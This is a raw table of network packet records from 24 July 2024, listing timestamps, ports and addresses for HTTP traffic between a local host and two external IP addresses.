Jul 24, 2024 02:39:08.641275883 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.641309023 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.641340971 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.641372919 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.641407013 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.641431093 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.641431093 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.641431093 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.641439915 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.641464949 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.641464949 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.641473055 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.641506910 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.641542912 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.641541958 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.641571045 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.641577959 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.641593933 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.641613960 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.641628027 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.641648054 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.641674995 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.641684055 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.641700029 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.641733885 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.641804934 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.641855955 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.641887903 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.641921043 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.641952991 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.641985893 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.642010927 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.642010927 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.642010927 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.642010927 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.642011881 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.642020941 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.642091036 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.642091990 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.642182112 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.642214060 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.642245054 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.642246962 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.642262936 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.642281055 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.642294884 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.642314911 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.642343998 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.642349958 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.642363071 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.642384052 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.642410994 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.642417908 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.642452955 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.642471075 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.642498970 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.642533064 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.642565966 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.642570019 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.642596960 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.642601013 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.642620087 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.642633915 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.642661095 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.642668009 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.642683983 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.642697096 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.642723083 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.642729998 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.642745972 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.642762899 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.642780066 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.642812014 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.642894983 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.642930031 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.642959118 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.642963886 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.642977953 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.642997980 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.643033028 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.643038034 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.643064022 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.643071890 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.643105030 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.643105030 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.643130064 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.643138885 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.643163919 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.643171072 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.643198013 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.643205881 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.643234015 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.643239975 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.643287897 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.643287897 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.643359900 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.643393040 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.643424988 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.643424988 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.643450975 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.643460989 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.643482924 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.643492937 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.643521070 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.643537998 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:09.116810083 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:09.116885900 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:09.122045040 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:09.122081995 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:09.789823055 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:09.789993048 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:09.839765072 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:09.844552040 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:10.025492907 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:10.025552988 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:10.025583982 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:10.025815964 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:10.027787924 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:10.032685041 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:10.216069937 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:10.216262102 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:10.226927042 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:10.232084036 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:10.232178926 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:10.232273102 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:10.237453938 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.060828924 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.060887098 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.060925007 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.060957909 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.060992002 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.061026096 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.061060905 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.061078072 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.061078072 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.061078072 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.061078072 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.061078072 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.061078072 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.061094046 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.061105013 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.061127901 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.061142921 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.061161041 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.061198950 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.061217070 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.061289072 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.066711903 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.066761017 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.066795111 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.066797972 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.066821098 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.066833019 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.066848993 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.066884041 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.071712017 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.071760893 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.071783066 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.071795940 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.071810961 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.071831942 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.071844101 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.071881056 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.076415062 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.076467037 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.076473951 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.076517105 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.076529980 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.076565027 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.076582909 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.076597929 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.076617956 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.076652050 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.081399918 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.081449986 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.081463099 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.081484079 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.081496954 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.081517935 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.081536055 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.081567049 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.086116076 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.086149931 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.086174965 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.086196899 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.086261988 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.086296082 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.086313963 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.086347103 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.091126919 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.091176987 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.091192007 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.091212034 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.091224909 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.091252089 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.091259956 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.091300964 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.183444977 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.183468103 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.183485031 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.183501959 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.183506012 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.183526993 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.183568954 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.188363075 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.188411951 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.188467979 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.188535929 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.188570976 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.188580036 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.188580036 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.188580036 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.188580036 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.188616991 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.193420887 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.193470955 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.193604946 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.193604946 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.193644047 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.193682909 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.193712950 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.193840027 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.193840027 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.193840027 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.198195934 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.198230982 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.198266029 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.198295116 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.198621988 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.198683023 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.198688984 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.198733091 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.203017950 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.203056097 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.203089952 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.203178883 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.203178883 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.203178883 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.203475952 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.203533888 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.203646898 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.203646898 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.207768917 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.207804918 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.207937956 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.207937956 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.208214045 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.208270073 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.208281040 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.208319902 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.212557077 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.212594032 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.212625980 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.212662935 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.212687969 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.212687969 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.212821960 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.212858915 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.212871075 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.212919950 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.217273951 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.217308998 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.217339993 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.217354059 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.217479944 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.217514038 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.217542887 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.217577934 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.274135113 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.274183989 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.274235010 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.274241924 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.274275064 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.274279118 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.274292946 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.274332047 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.274332047 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.274363995 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.274379015 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.274399042 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.274410963 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.274435997 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.274449110 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.274483919 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.275404930 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.275453091 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.275484085 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.275487900 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.275499105 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.275521040 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.275536060 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.275564909 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.275578976 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.275626898 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.276079893 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.276138067 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.276145935 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.276169062 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.276186943 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.276221991 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.305650949 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.305797100 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.305802107 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.305856943 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.305857897 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.305911064 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.305911064 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.305946112 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.305963993 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.305982113 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.305996895 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.306015015 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.306035995 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.306051016 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.306082010 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.306083918 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.306102991 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.306117058 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.306147099 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.306153059 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.306165934 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.306204081 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.306690931 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.306744099 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.306747913 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.306797028 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.306797028 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.306830883 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.306845903 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.306871891 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.306874990 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.306905985 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.306950092 CEST	49731	80	192.168.2.4	77.91.77.81
